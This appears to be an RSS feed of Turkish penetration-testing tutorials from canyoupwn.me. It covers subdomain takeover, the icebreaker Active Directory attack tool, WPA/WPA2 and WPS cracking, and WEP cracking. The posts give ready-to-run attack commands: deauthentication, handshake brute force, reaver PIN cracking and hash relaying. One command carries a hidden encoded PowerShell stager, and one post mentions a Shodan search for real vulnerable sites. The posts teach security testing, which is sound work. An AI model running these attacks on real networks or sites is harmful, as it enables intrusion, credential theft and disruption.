Gördüğünüz gibi “s3.amazonaws.com” olarak yanıt döndü. Şimdi sitemize bakalım.

Bize “NoSuchBucket” hatası döndü. Yani bucket oluşturulmamış. Bu durumda S3 ayar panelinden ayarlarımızı yapalım.

Ayarlarımızı yaptıktan sonra erişime açık yapmadığım için AccessDenied hatası aldım. Bir index.html dosyası yükleyelim ve yayına açalım.

Domaini ele geçirdik.

PoC

Shodan ile Keşif

Shodan ile isp:amazon taraması yaptığımda yaklaşık 1 milyon index almış ip tespit ettim. Aramamı isp:amazon “no such bucket” şeklinde zafiyet tabanlı yaptığımda ise 272 site ile karşılaştım. Bing ile ip:x şeklinde arama yapıldığında bu siteler ele geçirilebilir. Hatta makinada root haklarında işlemler yapılabilir.

Sonuç

Hatalı yapılandırma nedeniyle subdomaini ele geçirmemiz mümkün oldu. Bu durumda siteye sahte bir arayüz yaparak kullanıcı bilgilerini toplanabilir, mining sitelerinin zararlı kodları ile zombi makinalar oluşturulabilir, bilgisayarınıza zararlı yazılımlar yükletilebilir. Www-data hakları elde edilmiş bir makinada root yetkisine erişilebilir dolayısıyla tüm sunucu istismar edilmiş olabilir.

TR | Subdomain Takeover Berk İMRAN

]]>
https://canyoupwn.me/tr-subdomain-takeover/feed/ 0
TR | Yerel Ağ Sızma Testlerinde icebreaker Araç Kullanımı https://canyoupwn.me/tr-yerel-ag-sizma-testlerinde-icebreaker-arac-kullanimi/ https://canyoupwn.me/tr-yerel-ag-sizma-testlerinde-icebreaker-arac-kullanimi/#respond Wed, 28 Mar 2018 15:56:45 +0000 https://canyoupwn.me/?p=7467 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

icebreaker Aracı Nedir? icebreaker aracı https://github.com/DanMcInerney/icebreaker adresinden ulaşabileceğiniz açık kaynak kodlu bir sızma testi aracıdır. Yerel ağda  bulunduğunuz fakat Active Directory dışında olduğunuz zamanlar size düz metin kimlik bilgilerini iletmek için Active Directory’ye karşı ağ saldırılarını otomatik hale getirir.  Yerel ağ testlerinde oldukça kullanışlı olan ve içinde bir çok aracı modül olarak bulunduran yeni bir araçtır.  Bu […]

TR | Yerel Ağ Sızma Testlerinde icebreaker Araç Kullanımı Ahmet Gürel

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

icebreaker Aracı Nedir?

icebreaker aracı https://github.com/DanMcInerney/icebreaker adresinden ulaşabileceğiniz açık kaynak kodlu bir sızma testi aracıdır. Yerel ağda  bulunduğunuz fakat Active Directory dışında olduğunuz zamanlar size düz metin kimlik bilgilerini iletmek için Active Directory’ye karşı ağ saldırılarını otomatik hale getirir.  Yerel ağ testlerinde oldukça kullanışlı olan ve içinde bir çok aracı modül olarak bulunduran yeni bir araçtır.  Bu modüllerin bazıları Nmap, Empire, Responder, impacket gibi yerel ağ testlerinde sık sık kullandığımız araçlardan oluşmaktadır. Aşağıdaki resim ile araçta bulunan tüm modülleri görebilirsiniz.

5 farklı atağı sıra ile deneyerek açık metin parolaları ve bulduğu hash değerlerini  JohnTheRipper ile kırmaya çalışarak otomatik olarak atakları tamamlamaktadır.

RID Cycling Atağı

Nmap kullanarak boş SMB oturumlarını bulmaktadır.

SCF Dosya Yükleme Atağı

Ağ üzerinde anonim olarak yazılabilir paylaşımları bulmak için Nmap kullanır. Daha sonra böyle bir alan tespit ettiğinde SCF dosyası yükleme atağı gerçekleştirmektedir. Yakaladığı hash değerlerinide John ile kırmaya çalışmaktadır.

LLMNR/NBTNS/mDNS Poisoning Atağı

Bu atakta Resporder aracını kullanarak Katman  2 de  LLMNR/NBTNS/mDNS zehirleme atağı gerçekleştirmektedir. Yine yakaladığı hash değerlerinide John ile kırmaya çalışmaktadır.

SMB Relay Atağı

ntlmrelay.py ve Responder.py araçlarını kullanarak elde ettiği hashlerden john ile kırdığı parolaları kullanarak hedef makinaya bağlanarak admin kullanıcısı eklemeye çalışmaktadır. Bu adımdan sonra mimikatz aracını çalıştırıp bellekten parola ve hash dökümlerine ulaşabilirsiniz.

IPv6 DNS Poison Atağı

mitm6 ve ntlmrelayx.py araçlarını kullanarak  IPv6 DNS zehirleme yaparak  kulanıcı ve makina hash değerlerini yakalamaya çalışmaktadır. Kimlik doğrulama için sahte WPAD (Web Proxy Autodiscovery Protocol)  ler oluşturmaktadır. Bu kullanıcılar için ağ sorunlarına neden olabilir.

icebreaker Araç Kurulumu : 

Kali-Linux’a kuracaksanız kurulumdan önce apt-get remove python-impacket yapmanız gerekmektedir.

git clone https://github.com/DanMcInerney/icebreaker.git
cd icebreaker
./setup.sh
pipenv shell

Kurulum tamamlandığında bazı paketlerin eksik olduğu hatasını alabilirsiniz. Bunun için pip3 ile birlikte paketleri  yüklemelisiniz. Eğer pip3 yüklü değil ise ilk olarak  apt-get install python3-pip komutu ile onu kurmalısınız. Daha sonra eksik olan paketleri aşağıdaki komutlar ile birlikte kullanabilirsiniz.

pip3 install libtmux
pip3 install netifaces
pip3 install python-libnmap
pip3 install netaddr

Paketleride kurduktan sonra  python3 icebreaker.py -h  veya ./icebreaker.py -h komutları ile aracın parametrelerini görebilirsiniz.

icebreaker aracını isterseniz target.txt veya nmap tarama sonuçlarını vererek  çalıştırabilirsiniz.

python3 icebreaker.py -l targets.txt -i eth0 -t 30 -c default komutu ile  target.txt dosyasındaki IP adresi/adresleri için 30 dakika boyunca LLMNR/NBTNS poisining atağı gerçekleştirecektir. Sistemde çalıştırılacak komut için -c parametresi ile belirtebilirsiniz.

Gördüğünüz gibi yakaladığı hash değerini John ile kırarak açık metin parolasını göstermektedir. Aynı zamanda aracın dizinindede tutulmaktaır. Daha sonra gerekli olduğunda hash değerini ve açık metin parolaya aşağıdaki resimde görüldüğü gibi ulaşılabilmektedir.

Hedef sistemde yakaladığı hash değerleri ve ele geçirdiği açık metin parolalar ile bağlanarak komut çalıştırabilmektedir. Bunun için Empire ile powershell kullanılmaktadır.

./icebreaker -l targets.txt -c “powershell -nop -w hidden -exec bypass -enc WwFk…”

Araç bir çok atağı ve aracı  otomatik  hale  getirdiğini gördüğümde paylaşmak istedim  başka bir yazıda görüşmek üzere ?

TR | Yerel Ağ Sızma Testlerinde icebreaker Araç Kullanımı Ahmet Gürel

]]>
https://canyoupwn.me/tr-yerel-ag-sizma-testlerinde-icebreaker-arac-kullanimi/feed/ 0
TR | Kablosuz Ağ Saldırıları-2 WPA/WPA2 Şifrelemeleri ve Parola Ele Geçirme https://canyoupwn.me/tr-kablosuz-ag-saldirilari-2-wpa-wpa2-sifrelemeleri-parola-ele-gecirme/ https://canyoupwn.me/tr-kablosuz-ag-saldirilari-2-wpa-wpa2-sifrelemeleri-parola-ele-gecirme/#respond Wed, 14 Feb 2018 08:17:56 +0000 https://canyoupwn.me/?p=7393 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazıyı okumaya  başlamadan önce temel kavramlar ve terimler için Kablosuz Ağ Saldırıları -1 WEP Şifreleme ve Parolasını Ele Geçirme  adlı yazımızı okumanızı tavsiye etmekteyim. Bir önceki yazıda WEP protokolünün zayıflıklarını ve parolasını ele geçirmeye değinmiştim bu yazıda ise günümüzde yaygın olarak kullanılan WPA/WPA2 şifreleme algoritmaları ve parolalarını ele geçirilmesine yönelik saldırılara değineceğim. Kullanacağımız donanım ve […]

TR | Kablosuz Ağ Saldırıları-2 WPA/WPA2 Şifrelemeleri ve Parola Ele Geçirme Ahmet Gürel

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazıyı okumaya  başlamadan önce temel kavramlar ve terimler için Kablosuz Ağ Saldırıları -1 WEP Şifreleme ve Parolasını Ele Geçirme  adlı yazımızı okumanızı tavsiye etmekteyim.

Bir önceki yazıda WEP protokolünün zayıflıklarını ve parolasını ele geçirmeye değinmiştim bu yazıda ise günümüzde yaygın olarak kullanılan WPA/WPA2 şifreleme algoritmaları ve parolalarını ele geçirilmesine yönelik saldırılara değineceğim. Kullanacağımız donanım ve yazılımlar WEP için kullandıklarımızın aynısı olan aircrack yazılım ailesini kullanacağız.

WPA ve WPA2 şifrelemesini kullanan bir Erişim  noktasının (Access Point)  parolasını ele geçirebilmek için havada yakalanan paketlerde istemci ile erişim noktası arasında gerçekleşen dörtlü el sıkışma trafiği üzerine  kaba kuvvet (Brute force) saldırısı kullanılabilir.

İlk olarak airmon-ng start wlan0  komutu ile wifi adaptörümüzü monitor moda alıyoruz.

Daha sonra airodump-ng wlan0mon  komutu ile çevredeki ağlar hakkında bilgi topluyoruz.

Buradan ESSID Ahmet-Test  olan BSSID 14:5F:94:48:F7:04  olan ve Channel numarası 1 olan WPA2-PSK şifrelemesini kullanan erişim noktasını hedef alacağız.

Artık bu ağı hedef göstererek aşağıdaki araç ve komutlar ile  paket toplamaya  başlıyoruz.

Görüldüğü gibi havada giden paketler toplanarak kaydedilmektedir.

Dörtlü el sıkışma paketlerini yakalabilmemiz için bağlı olan istemcilere deauthentication paketleri gönderek ağdan düşüp yeniden bağlanmasını sağlamak için aireplay-ng –deauth 100 -e Ahmet-Test wlan0mon  aireplay-ng aracını kullanıyoruz.

Artık düşen istemci yeniden erişim noktasına bağlanırken dörtlü el sıkışma gerçekleşicek ve bu paketleri bizde yakalarak kaydetmiş olacağız.

aircrack-ng WPA2-01.cap -w /usr/share/wordlist/rockyou.txt -o  komutu ile yakalanan paketler üzerine kaba kuvvet saldırı gerçekleştirilmiştir. Bu parola listemizde (wordlist) kablosuz ağa ait parola bulunduğu için parola bulunmuştur. Tamamen listenizde parola var ise işe yarayan bir saldırıdır. Dörtlü el sıkışma paketleri üzerinden kaba kuvvet saldırısı ile WPA/WPA2 şifreleme protokollerini kullanan ağların parolası bu  şekilde ele geçirilebilmektedir.

WPS PIN Kırma ve WPS PIN Bilinen Ağ Parolasını Elde Etme

Bu saldırıdan başka şifreleme protokolleri haricinde erişim noktaları ile aygıtları birbirine bağlamasını kolaylaştırmak amacı taşıyan Wi-Fi Protected Setup (WPS) PIN’i ilede gerçekleşen saldırılar  vardır.

“Wi-Fi protected setup” (WPS), tecrübesiz kullanıcıların router ile diğer ürünlerini kablosuz olarak kolayca bağlamalarını sağlayan bir sistemdir.

WPS destekli router’ların arka tarafında 8 haneli bir kod bulunmaktadır.

Kablosuz ağınıza örneğin bir laptop bağladığınızda bu 8 haneli PIN kodunu girmeniz gerekir.

WPS güvenliği, 8 haneli güvenlik kodunu 4 haneli 2 gruba ayırmaktadır.Birinci grup 4 haneli şifre doğru girilirse router doğru diye değer döndürüyor. Bu özellikten faydalanarak WPS PIN kırma saldırıları yapılmaktadır. WPS PIN’i bilinen bir ağın parolasıda kolaylıkla ele geçmektedir.

wifite aracı Kali Linux’ta krulu olarak gelmektedir. Terminale wifite yazarak konsoldan kullanabilirsiniz. Çevredeki ağlar hakkında bilgi toplayıp WPS durumlarını görebilirsiniz. Araç üzerinden wifi ağlarına yönelik atakları kolayca gerçekleştirebilirsiniz.

WPS’i Aktif Modemde WPS PIN Ele Geçirme

reaver -i wlan0mon -c 1 -b 14:5F:94:48:F7:04    -vv -L -N -d 15 -T .5 -r 3:15

Kali Linux’ta kurulu olarak gelen reaver aracı ile WPS Pın kullanımı aktif modemler için PIN’i kırmak için kullanılır.

WPS PIN’i Bilinen Ağın Parolasını Bulma

reaver -i wlan0mon -b 14:5F:94:48:F7:04  -d 0 -c 1 -vv -p 25905892

Bazı eski modemlerin WPS PIN’ı default olarak bulunabilir, onun dışındakilerde reaver ile PIN bulunup daha sonra kablosuz ağ parolası ele geçirilebilir. Fakat bu açıklık nedeniyle modemler yanlış denemelerden sonra belli bir süre bekletme, tuşla WPS’e bağlanma gibi yeni özellikler gelmiştir. Yinede eski, güncel olmayan WPS’i aktif modemlerde bu şekilde kablosuz ağ parolasını ele geçirebilirsiniz.

KRACK Zafiyeti

KRACK zafiyeti WPA/WPA2 şifrelemesini kullanan tüm işletim sistemlerini etkilemektedir. Fakat Krack zafiyeti ağın parolasını ele geçirmek değilde ağın parolası bilinmemesine rağmen  kablosuz ağ trafiğinin dinlenmesine yönelik bir zafiyettir.

Bu zafiyetten etkilenip etkilenmediğinizi  test etmek  için yayınlanan https://github.com/vanhoefm/krackattacks-scripts  aracını kullanabilirsiniz.

Bu zafiyetten etkilenmemek için şuan bir çok üretici güncelleme çıkardı bu güncellemeyi yapabilirsiniz. Güncelleme gelmeyen ve ya yapamayanlarda ağ içinde VPN kullanarak tüm trafiği şifrelemesi geçici bir çözüm olacaktır.

TR | Kablosuz Ağ Saldırıları-2 WPA/WPA2 Şifrelemeleri ve Parola Ele Geçirme Ahmet Gürel

]]>
https://canyoupwn.me/tr-kablosuz-ag-saldirilari-2-wpa-wpa2-sifrelemeleri-parola-ele-gecirme/feed/ 0
TR| Kablosuz Ağ Saldırıları -1 WEP Şifreleme ve Parolasını Ele Geçirme https://canyoupwn.me/tr-kablosuz-ag-saldirilari-1-wep-sifreleme-parolasini-ele-gecirme/ https://canyoupwn.me/tr-kablosuz-ag-saldirilari-1-wep-sifreleme-parolasini-ele-gecirme/#respond Mon, 12 Feb 2018 06:00:01 +0000 https://canyoupwn.me/?p=7383 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Wi-Fi ağınızın güvenliğini sağlamak için ortaya çıkmış şifreleme yöntemleri vardır, bu şifreleme yöntemlerinden biri WEP (Wired Equivalent Privacy) dir. Wired Equivalent Privacy (WEP), dünyada en çok kullanılan Wi-Fi güvenlik algoritması. Bunun sebebi ise, geriye uyumluluğu ve birçok router’ın kontrol panelinde ilk sırada yer alması. WEP 64-bit olarak çıktı fakat sonra 128-bit’e çıkarıldı. Günümüzde 256-bit WEP […]

TR| Kablosuz Ağ Saldırıları -1 WEP Şifreleme ve Parolasını Ele Geçirme Ahmet Gürel

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Wi-Fi ağınızın güvenliğini sağlamak için ortaya çıkmış şifreleme yöntemleri vardır,
bu şifreleme yöntemlerinden biri WEP (Wired Equivalent Privacy) dir.

Wired Equivalent Privacy (WEP), dünyada en çok kullanılan Wi-Fi güvenlik
algoritması. Bunun sebebi ise, geriye uyumluluğu ve birçok router’ın kontrol
panelinde ilk sırada yer alması.

WEP 64-bit olarak çıktı fakat sonra 128-bit’e çıkarıldı. Günümüzde 256-bit WEP
şifrelemesi mevcut olsa da, 128-bit şifreleme halen en yaygın olarak kullanılan.

Algoritmadaki bir çok düzeltmeye ve arttırılan anahtar boyutuna rağmen, WEP
standardında zaman içinde birçok güvenlik açığı keşfedildi. Ücretsiz araçlar ile
kolaylıkla kıralabilmeltedir.(Aircrack vb.) WEP 2004 yılında resmi olarak bitirildi.

WEP ağına bağlanılırken aşağıdaki gibi  kimlik doğrulama gerçekleşir.

 

WEP Algoritmasının 3 Önemli Amacı : 

  • Kimlik Doğrulama (Authentication)
  • Gizlilik (Privacy)
  • Bilgi Değiştirme Kontrolu (Message Modification Control)

WEP’in teknik altyapısı RC4 (Rivest Cipher) akış şifreleme algoritmasına dayanır. RC4’ün amacı, verilen bir gizli anahtar ile geniş uzunlukta rastgele sayılar üretmek ve daha sonra bu akışla göndericide düz metin mesajı şifrelemektir.Mesajın şifrelenmesinin çözümü ve şifrelemesi temel olarak XOR fonksiyonu ile yapılmaktadır. WEP onay sisteminde RC4 ile  iki defa XOR lanan sonuç aynı değeri vermektedir.  IV (Initialization Vector)  paketleri WEP de düşük boyutta olduğu için tekrara neden olabiliyor. IV (Initialization Vector)  gerçek anahtara eklenilip RC4 işleme giriyor dolayısıyla her IV değiştirildiğinde RC4 tekrar şifrelemeye başlıyor. Yeterince tekrar etmeyen IV (Initialization Vector)   paket topladığında WEP parolası  kırılabilmektedir.

WEP Parolasını Ele Geçirme Adımları:

Başlamadan önce;

  • Kendi cihazımızın MAC adresi = iwconfig ya da ifconfig komutu ile görebilirsiniz.
  • BSSID  =  Hedef  Mac Adresi
  • ESSID  =  Hedef Kablosuz Ağ adı
  • Channel = Yayın yapılan kanal numarası

bu terimlerin açılımını öğrendikten sonra Kali Linux üzerindeki Aircrack araç ailesini kullarak kıracağız. Donanım olarak TP-LINK TL-WN727N adaptörünü kullanacağım.

ifconfig wlan0 ve ya iwconfig komutları ile kablosuz adaptörümüzü görüntüleyebiliriz.

airmon-ng start wlan0 komutu ile  adaptörümüzü  monitor moda alıyoruz.

Yukarıdaki resimde gördüğümüz gibi wlan0 monitor moda geçerek wlan0mon olmuştur.

airodump-ng wlan0mon komutu ile etraftaki paketleri dinleyerek kablosuz ağlar hakkında bilgi topluyoruz. Yukarıda ki resimde gördüğümüz gibi BSSID, ESSID ve Channel bilgileri görüntülenmektedir.

Terminalimize wifite yazarak aracımızı başka bir aracımızı açıyoruz. WPS ve Clients bilgilerini görebilmekteyiz.

Yukarıda topladığımız bilgilere göre ESSID Ahmet-Test BSSID 3C:DF:BD:EC:E8:5A olan Channel numarası 10 olan ve WEP protokolünü kullanan erişim noktasını hedef alacağız.

airodump-ng wlan0mon -c 10 –bssid 3C:DF:BD:EC:E8:5A -w WEP komutu ile Ahmet-Test eişin noktasının paketlerini toplayarak -w parametresi ile bulunduğu dizine kaydetmesini sağlıyoruz.

aireplay-ng -1 1 -a 3C:DF:BD:EC:E8:5A -h D4:6E:0E:1A:32:26 wlan0mon komutu ile fake authentication oluşturarak daha hızlı bir şekilde paket toplama işlemi gerçekleştireceğiz. -1 ile fake authentication üreteceğimizi aireplay-ng aracına belirttikden sonra kaç saniyede bir gönderileceğini girdik. -a parametresi ile BSSID  (Hedef Mac adresini) giriyoruz. -h ile kendi adaptörümüzün mac adresini giriyoruz ve fake authentication  paketleri gönderiyoruz.

aireplay-ng -3 -b 3C:DF:BD:EC:E8:5A -h D4:6E:0E:1A:32:26 wlan0mon komutu ilede IV (Initialization Vector)  paketi oluşturmak için ARP paketlerini yakalayıp sürekli olarak  tekrarlamaktadır.

aircrack-ng WEP-01.cap komutu ile yeterli sayıda IV (Initialization Vector)  paketi toplandığında WEP parolası kırılmaktadır.

TR| Kablosuz Ağ Saldırıları -1 WEP Şifreleme ve Parolasını Ele Geçirme Ahmet Gürel

]]>
https://canyoupwn.me/tr-kablosuz-ag-saldirilari-1-wep-sifreleme-parolasini-ele-gecirme/feed/ 0